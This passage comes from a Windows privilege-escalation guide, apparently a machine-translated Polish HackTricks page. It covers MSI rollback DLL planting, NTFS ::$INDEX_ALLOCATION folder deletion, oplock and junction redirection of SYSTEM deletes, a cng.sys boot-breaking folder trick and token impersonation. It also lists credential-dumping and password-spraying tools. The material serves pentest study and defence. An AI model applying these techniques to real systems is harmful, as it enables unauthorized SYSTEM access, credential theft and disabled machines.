- Odczytuje twój złośliwy
.rbs. - Kopiuje twój
.rbf(DLL) do docelowej lokalizacji.
- Odczytuje twój złośliwy
- Teraz masz swój złośliwy DLL w ścieżce ładowanej przez SYSTEM.
- Windows Installer:
-
Krok końcowy: Uruchom kod jako SYSTEM
- Uruchom zaufany, auto-elevowany binarny (np.
osk.exe), który załaduje DLL, który przejąłeś. - Boom: Twój kod zostaje uruchomiony jako SYSTEM.
- Uruchom zaufany, auto-elevowany binarny (np.
Z dowolnego usunięcia/przeniesienia/zmiany nazwy pliku do SYSTEM EoP
Główna technika rollback MSI (powyższa) zakłada, że możesz usunąć cały folder (np. C:\Config.Msi). A co jeśli twoja podatność pozwala tylko na arbitralne usunięcie pliku?
Możesz wykorzystać wewnętrzne mechanizmy NTFS: każdy folder ma ukryty alternatywny strumień danych zwany:
C:\SomeFolder::$INDEX_ALLOCATION
Ten strumień przechowuje metadane indeksu folderu.
Zatem, jeśli usuniesz strumień ::$INDEX_ALLOCATION folderu, NTFS usuwa cały folder z systemu plików.
Możesz to zrobić za pomocą standardowych API do usuwania plików, takich jak:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Chociaż wywołujesz file delete API, ono usuwa sam folder.
Od usuwania zawartości folderu do SYSTEM EoP
Co jeśli twój primitive nie pozwala na usuwanie dowolnych plików/folderów, ale pozwala na usunięcie zawartości folderu kontrolowanego przez atakującego?
- Krok 1: Przygotuj pułapkowy folder i plik
- Utwórz:
C:\temp\folder1 - W nim:
C:\temp\folder1\file1.txt
- Krok 2: Umieść oplock na
file1.txt
- Oplock wstrzymuje wykonanie, gdy uprzywilejowany proces próbuje usunąć
file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Krok 3: Wywołaj proces SYSTEM (np.
SilentCleanup)
- Ten proces skanuje foldery (np.
%TEMP%) i próbuje usunąć ich zawartość. - Gdy dotrze do
file1.txt, oplock triggers i przekazuje kontrolę do twojego callbacka.
- Krok 4: Wewnątrz oplock callback – przekieruj usuwanie
-
Opcja A: Przenieś
file1.txtgdzie indziej -
To opróżnia
folder1bez zerwania oplock. -
Nie usuwaj
file1.txtbezpośrednio — to spowodowałoby zwolnienie oplock zbyt wcześnie. -
Opcja B: Zamień
folder1w junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opcja C: Utwórz symlink w
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Celuje w wewnętrzny strumień NTFS, który przechowuje metadane folderu — jego usunięcie usuwa folder.
- Krok 5: Zwolnienie oplock
- Proces SYSTEM kontynuuje i próbuje usunąć
file1.txt. - Ale teraz, z powodu junction + symlink, w rzeczywistości usuwa:
C:\Config.Msi::$INDEX_ALLOCATION
Wynik: C:\Config.Msi jest usuwany przez SYSTEM.
From Arbitrary Folder Create to Permanent DoS
Wykorzystaj mechanizm, który pozwala create an arbitrary folder as SYSTEM/admin — nawet jeśli nie możesz zapisywać plików lub ustawić słabych uprawnień.
Utwórz folder (nie plik) o nazwie critical Windows driver, np.:
C:\Windows\System32\cng.sys
- Ta ścieżka zwykle odpowiada sterownikowi trybu jądra
cng.sys. - Jeśli wstępnie utworzysz ją jako folder, Windows nie załaduje rzeczywistego sterownika podczas rozruchu.
- Następnie Windows próbuje załadować
cng.syspodczas rozruchu. - Widzi folder, nie udaje mu się rozwiązać rzeczywistego sterownika, i zawiesza się lub zatrzymuje rozruch.
- Nie ma żadnego mechanizmu awaryjnego, i brakuje możliwości odzyskania bez zewnętrznej interwencji (np. naprawy rozruchu lub dostępu do dysku).
Z High Integrity do SYSTEM
Nowa usługa
Jeżeli już działasz w procesie High Integrity, ścieżka do SYSTEM może być prosta — wystarczy utworzyć i uruchomić nową usługę:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Podczas tworzenia binarki usługi upewnij się, że jest to prawidłowa usługa lub że binarka wykonuje niezbędne czynności do uruchomienia, ponieważ jeśli nie będzie prawidłową usługą, zostanie zabita po 20s.
AlwaysInstallElevated
Z procesu High Integrity możesz spróbować enable the AlwaysInstallElevated registry entries oraz install reverse shell używając .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
You can find the code here.
From SeDebug + SeImpersonate to Full Token privileges
Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz je w procesie już o High Integrity), będziesz w stanie otworzyć prawie dowolny proces (nie protected processes) z uprawnieniem SeDebug, skopiować token procesu i utworzyć dowolny proces z tym tokenem.
Użycie tej techniki zwykle polega na wybraniu procesu uruchomionego jako SYSTEM ze wszystkimi uprawnieniami tokena (tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena).
You can find an example of code executing the proposed technique here.
Named Pipes
Ta technika jest używana przez meterpreter do eskalacji w getsystem. Technika polega na utworzeniu pipe i następnie stworzeniu/nadużyciu usługi do zapisu w tym pipe. Następnie server, który utworzył pipe używając uprawnienia SeImpersonate, będzie w stanie podszyć się pod token klienta pipe (usługi), uzyskując uprawnienia SYSTEM.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
Jeśli uda ci się hijack a dll będącą loaded przez process działający jako SYSTEM, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również użyteczny przy tego typu eskalacji uprawnień, a ponadto znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności, ponieważ będzie miał write permissions w folderach używanych do ładowania dlls.
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
Więcej pomocy
Przydatne narzędzia
Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych w Windows: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Sprawdza błędne konfiguracje i wrażliwe pliki (check here). Detected.
JAWS -- Sprawdza możliwe błędne konfiguracje i zbiera informacje (check here).
privesc -- Sprawdza błędne konfiguracje
SessionGopher -- Ekstrahuje zapisane sesje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.
Invoke-WCMDump -- Ekstrahuje poświadczenia z Credential Manager. Detected.
DomainPasswordSpray -- Rozprowadza zebrane hasła po domenie
Inveigh -- Inveigh to PowerShellowy spoofer ADIDNS/LLMNR/mDNS/NBNS i narzędzie man-in-the-middle.
WindowsEnum -- Podstawowa enumeracja Windows pod kątem privesc
Sherlock ~~~~ -- Wyszukuje znane luki privesc (DEPRECATED for Watson)
WINspect -- Kontrole lokalne (Need Admin rights)
Exe
Watson -- Wyszukuje znane luki privesc (wymaga kompilacji w VisualStudio) (precompiled)
SeatBelt -- Enumeruje hosta szukając błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) (precompiled)
LaZagne -- Ekstrahuje poświadczenia z wielu aplikacji (precompiled exe w github)
SharpUP -- Port PowerUp do C#
Beroot ~~~~ -- Sprawdza błędne konfiguracje (wykonywalny precompiled w github). Niezalecane. Nie działa dobrze na Win10.
Windows-Privesc-Check -- Sprawdza możliwe błędne konfiguracje (exe z pythona). Niezalecane. Nie działa dobrze na Win10.
Bat
winPEASbat -- Narzędzie stworzone na podstawie tego posta (nie wymaga accesschk, aby działać poprawnie, ale może go używać).
Local
Windows-Exploit-Suggester -- Odczytuje output systeminfo i rekomenduje działające exploity (lokalny python)
Windows Exploit Suggester Next Generation -- Odczytuje output systeminfo i rekomenduje działające exploity (lokalny python)
Meterpreter
multi/recon/local_exploit_suggestor
Musisz skompilować projekt używając odpowiedniej wersji .NET (see this). Aby zobaczyć zainstalowaną wersję .NET na hoście ofiary możesz zrobić:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Źródła
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
{{#include ../../banners/hacktricks-training.md}}
